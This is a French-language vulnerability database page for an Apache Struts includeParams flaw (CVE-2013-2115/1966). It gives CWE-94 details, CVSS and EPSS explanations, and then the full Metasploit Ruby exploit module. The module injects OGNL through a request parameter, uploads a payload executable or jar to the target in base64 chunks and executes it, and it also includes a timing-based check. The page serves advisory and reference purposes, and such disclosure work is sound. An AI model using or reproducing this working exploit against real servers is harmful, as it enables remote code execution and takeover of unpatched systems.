Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 25980
Date de publication : 2013-06-04 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
When targeting an action which requires interaction through GET the payload should
be split having into account the uri limits. In this case, if the rendered jsp has
more than one point of injection, it could result in payload corruption. It should
happen only when the payload is larger than the uri length.
},
'Author' =>
[
# This vulnerability was also discovered by unknown members of:
# 'Coverity security Research Laboratory'
# 'NSFOCUS Security Team'
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'May 24 2013',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end
def execute_command(cmd, opts = {})
inject_string = @inject.gsub(/CMD/,cmd)
uri = normalize_uri(target_uri.path)
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
case datastore['HTTPMETHOD']
when 'POST'
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
when 'GET'
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
end
# Display a nice "progress bar" instead of message spam
case @notify_flag
when 0
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
@notify_flag = 1
when 1
print(".") # Progress dots
when 2
print_status("Payload upload complete")
end
return send_request_cgi(req_hash) #Used for check function.
end
def exploit
#initialise some base vars
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = false
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
print_status("Preparing payload...")
# Now with all the arch specific stuff set, perform the upload.
# Need to calculate amount to allocate for non-dynamic parts of the URL.
# Fixed strings are tokens used for substitutions.
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
case datastore['HTTPMETHOD']
when 'GET'
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
#This lets us know the length remaining for our base64'd payloads
chunk_length = ((chunk_length/4).floor)*3
when 'POST'
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
end
@notify_flag = 0
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
print_line() # new line character, after progress bar.
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = false)
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
append = append ? "true" : "false" # converted for the string replacement.
cmd = cmd.gsub!(/APPEND/,append)
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
execute_command(cmd)
end
def check
#initialise some base vars
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
print_status("Performing Check...")
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end
Products Mentioned
Configuraton 0
Apache>>Struts >> Version From (including) 2.0.0 To (including) 2.3.14.1
Références